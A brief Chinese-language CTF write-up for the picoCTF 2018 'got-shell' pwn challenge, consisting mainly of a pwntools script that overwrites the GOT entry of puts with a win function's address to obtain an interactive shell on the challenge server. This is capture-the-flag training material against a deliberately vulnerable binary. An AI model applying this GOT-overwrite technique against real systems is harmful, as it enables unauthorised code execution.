picoctf_2018_got_shell(逻辑漏洞)

pwn的题一般是栈溢出,格式化漏洞,堆利用,逻辑漏洞

其中据我了解堆利用比栈的难度高很多,逻辑漏洞更是灵活。

这次恰好碰到一个逻辑漏洞记录一下。

1

所以可以直接写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
r=remote('node5.buuoj.cn',25642)

elf=ELF('./PicoCTF_2018_got-shell')
puts_got=elf.got['puts']
win_addr=0x0804854B

r.sendlineafter(b"I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", hex(puts_got))

r.recv()
r.sendline(hex(win_addr))

r.interactive()